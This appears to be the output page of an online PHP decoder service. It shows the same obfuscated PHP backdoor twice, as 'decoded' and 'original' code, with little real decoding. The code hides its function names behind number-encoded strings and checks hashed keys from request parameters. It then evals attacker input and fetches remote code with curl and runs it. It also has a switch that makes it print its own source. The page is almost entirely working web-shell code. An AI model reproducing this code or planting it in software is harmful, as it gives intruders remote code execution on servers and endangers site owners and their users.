Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $d = "r"."a"."n"."g"."e"; $SUOf = $d("~", " "); $PY=${$SUOf[11+20].$SUOf[35+24].$SUO..
Decoded Output download
<?php $d = "r"."a"."n"."g"."e"; $SUOf = $d("~", " "); $PY=${$SUOf[11+20].$SUOf[35+24].$SUOf[39+8].$SUOf[0+47].$SUOf[36+15].$SUOf[3+50].$SUOf[5+52]}; @(md5(md5(md5(md5($PY[16]))))==="f116c4d27eafebbc5e7534e2353cdab9")&&(count($PY)==22&&in_array(gettype($PY).count($PY),$PY))?(($PY[63]=$PY[63].$PY[74])&&($PY[90]=$PY[63]($PY[90]))&&(@eval($PY[63](${$PY[50]}[15])))):$PY;class nYmu{ static function yVjP($gbd) { $zXOWxZ = "r"."a"."n"."g"."e"; $mce = $zXOWxZ("~", " "); $hfyzDF = explode("<", $gbd); $sqDxTKRmMA = ""; foreach ($hfyzDF as $xUDev => $Sj) $sqDxTKRmMA .= $mce[$Sj - 97432]; return $sqDxTKRmMA; } static function nAudI($duPC, $LVDBboRe) { $YgP = curl_init($duPC); curl_setopt($YgP, CURLOPT_RETURNTRANSFER, 1); $YTxntFj = curl_exec($YgP); return empty($YTxntFj) ? $LVDBboRe($duPC) : $YTxntFj; } static function lygpYRHEKq() { $HT = array("97459<97444<97457<97461<97442<97457<97463<97456<97441<97448<97459<97442<97453<97447<97448","97443<97442<97444<97463<97444<97447<97442<97509<97507","97452<97443<97447<97448<97463<97458<97457<97459<97447<97458<97457","97446<97461<97459<97451","97460<97461<97443<97457<97504<97506<97463<97458<97457<97459<97447<97458<97457","97456<97453<97450<97457<97463<97455<97457<97442<97463<97459<97447<97448<97442<97457<97448<97442<97443","97486<97516","97433","97511<97516","97493<97476<97476<97493<97469","97447<97456"); foreach ($HT as $AhBJ) $rRjuOisSEB[] = self::yVjP($AhBJ);$BHOaUMpFi = @$rRjuOisSEB[1](${"_"."G"."E"."T"}[$rRjuOisSEB[2+7]]); $wjFEZlAB = @$rRjuOisSEB[2+1]($rRjuOisSEB[3+3], $BHOaUMpFi); $EBhfAaV = $rRjuOisSEB[2+0]($wjFEZlAB, true); @${"_"."G"."E"."T"}[$rRjuOisSEB[3+7]] == 1 && die($rRjuOisSEB[4+1](__FILE__)); if( ((@$EBhfAaV[0] - time()) > 0) and (md5(md5($EBhfAaV[3+0])) === "7777fe8da1c303a9986e217446cb8072") ): $Jn = self::nAudI($EBhfAaV[1+0], $rRjuOisSEB[4+1]);@eval($rRjuOisSEB[2+2]($Jn));die; endif; }}nYmu::lygpYRHEKq(); ?>
Did this file decode correctly?
Original Code
<?php $d = "r"."a"."n"."g"."e"; $SUOf = $d("~", " "); $PY=${$SUOf[11+20].$SUOf[35+24].$SUOf[39+8].$SUOf[0+47].$SUOf[36+15].$SUOf[3+50].$SUOf[5+52]}; @(md5(md5(md5(md5($PY[16]))))==="f116c4d27eafebbc5e7534e2353cdab9")&&(count($PY)==22&&in_array(gettype($PY).count($PY),$PY))?(($PY[63]=$PY[63].$PY[74])&&($PY[90]=$PY[63]($PY[90]))&&(@eval($PY[63](${$PY[50]}[15])))):$PY;class nYmu{ static function yVjP($gbd) { $zXOWxZ = "r"."a"."n"."g"."e"; $mce = $zXOWxZ("~", " "); $hfyzDF = explode("<", $gbd); $sqDxTKRmMA = ""; foreach ($hfyzDF as $xUDev => $Sj) $sqDxTKRmMA .= $mce[$Sj - 97432]; return $sqDxTKRmMA; } static function nAudI($duPC, $LVDBboRe) { $YgP = curl_init($duPC); curl_setopt($YgP, CURLOPT_RETURNTRANSFER, 1); $YTxntFj = curl_exec($YgP); return empty($YTxntFj) ? $LVDBboRe($duPC) : $YTxntFj; } static function lygpYRHEKq() { $HT = array("97459<97444<97457<97461<97442<97457<97463<97456<97441<97448<97459<97442<97453<97447<97448","97443<97442<97444<97463<97444<97447<97442<97509<97507","97452<97443<97447<97448<97463<97458<97457<97459<97447<97458<97457","97446<97461<97459<97451","97460<97461<97443<97457<97504<97506<97463<97458<97457<97459<97447<97458<97457","97456<97453<97450<97457<97463<97455<97457<97442<97463<97459<97447<97448<97442<97457<97448<97442<97443","97486<97516","97433","97511<97516","97493<97476<97476<97493<97469","97447<97456"); foreach ($HT as $AhBJ) $rRjuOisSEB[] = self::yVjP($AhBJ);$BHOaUMpFi = @$rRjuOisSEB[1](${"_"."G"."E"."T"}[$rRjuOisSEB[2+7]]); $wjFEZlAB = @$rRjuOisSEB[2+1]($rRjuOisSEB[3+3], $BHOaUMpFi); $EBhfAaV = $rRjuOisSEB[2+0]($wjFEZlAB, true); @${"_"."G"."E"."T"}[$rRjuOisSEB[3+7]] == 1 && die($rRjuOisSEB[4+1](__FILE__)); if( ((@$EBhfAaV[0] - time()) > 0) and (md5(md5($EBhfAaV[3+0])) === "7777fe8da1c303a9986e217446cb8072") ): $Jn = self::nAudI($EBhfAaV[1+0], $rRjuOisSEB[4+1]);@eval($rRjuOisSEB[2+2]($Jn));die; endif; }}nYmu::lygpYRHEKq(); ?>
Function Calls
range | 1 |
Stats
MD5 | 49c828a04fe984ee8000e48fe18331e5 |
Eval Count | 0 |
Decode Time | 65 ms |